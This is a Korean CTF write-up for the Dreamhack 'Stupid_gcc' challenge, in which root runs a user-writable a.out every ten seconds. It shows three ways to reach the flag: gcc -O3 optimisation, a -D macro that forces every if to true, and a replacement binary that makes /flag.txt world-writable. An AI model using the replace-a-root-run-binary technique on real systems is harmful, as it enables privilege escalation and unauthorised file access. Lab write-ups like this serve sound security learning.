dreamhack - Stupid_gcc writeup
[dreamhack] Stupid_gcc writeup
1. 문제

root 사용자가 10초에 한번씩 /home/stupid_gcc/a.out을 실행합니다 !
(ssh id : stupid_gcc, pw : 1234)
2. 풀이
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
uint8_t v1 = 0;
int v2 = 0;
char v3[31];
uint16_t v4[10]={0,};
while (v4[v1] < UINT16_MAX && v1 < 10) {
v1++;
printf("v4[%d]: %p\n", v1, &v4[v1]);
v2 += v1;
if (v2 > 10000) {
FILE *fp = fopen("/flag.txt", "r");
fgets(v3, 31, fp);
fclose(fp);
fp = fopen("/home/stupid_gcc/flag.txt", "w");
fwrite(v3, 31, 1, fp);
fclose(fp);
return 0;
}
}
return 0;
}
v2
변수에 v1
을 계속 더하는데 10000이 넘으면 flag.txt
를 복사해 올 수 있다.
문제는 while
조건문이 v1
이 10이 되면 거짓이 되버려서 만족시킬 수가 없다.
gcc
옵션을 어떻게 주느냐에 따라, 그리고 엄청나게 다양한 방식의 풀이 방법이 존재한다.
대표적으로 최적화 옵션을 주는 것과 매크로 옵션을 주는 두가지 방식이 있다.
그리고 아예 옵션과 상관없는 풀이도 존재한다.
2.1. 최적화 옵션 (Optimizaiton, -O)
gcc
에는 최적화를 위한 옵션 -O
가 존재한다. 이 옵션 뒤 숫자에 따라서 최적화 레벨이 달라진다.
예를 들어,
- -O0: 최적화 없음
- -O1: 기본적인 최적화 적용
- -O2: 더 많은 최적화 적용
- -O3: 최대한도의 최적화 적용
최적화 레벨을 높일 때마다 루프를 줄이고 불필요한 코드를 제거하는 등의 수정이 일어나는데, 이 과정에서 일부 조건문들에도 변화가 생긴다.
정확히 어떤 변화가 생기는지는 알기가 어렵지만, 이 문제에서는 -O3
를 적용하면 문제가 해결된다.
2.2. 매크로 옵션 (-D)
gcc
로 소스코드를 컴파일할 때, -D 옵션으로 코드를 일부 간접적으로 수정할 수 있다.
다른 분들의 풀이를 보다가 가장 놀라웠던 풀이는 아래와 같다.
gcc a.c -D'if(x)=if(1)'
이렇게 컴파일하면 x
가 무엇이 되던지, 무조건 참으로 실행되기 때문에 v2 > 10000
조건문이 그냥 1
로 해석되어 버린다.
2.3. 새로운 소스코드로 해결
어쨌든 root
가 a.out
을 10초에 한번씩 실행하는 것이기 때문에, 꼭 주어진 소스코드를 활용할 필요없이 a.out
파일을 만들어주기만 하면된다.
그리고 이 a.out
이 우리가 원하는 일(flag를 읽던지, 권한변경을 해주던지…)을 해주면 된다.
여기서는 소스코드 없이 빌드하는 것을 보여준다.
echo '#include <stdio.h>
#include <sys/stat.h>
int main() {
chmod("/flag.txt",0777);
return 0;
}
' | gcc -o a.out -x c -
이렇게 하면 소스코드를 파일 없이 직접 컴파일이 가능하다.
gcc -o a.out -x c -
이 코드에서 -x
는 입력 타입을 C
로 지정하고, -
는 표준입력을 의미한다.
이러면 root
디렉터리에 있는 flag.txt
파일의 권한을 누구나 읽을 수 있게 변경하여 flag를 얻을 수 있다.
직접 해결은 못했지만 새로운 방식의 문제를 볼 수 있었다.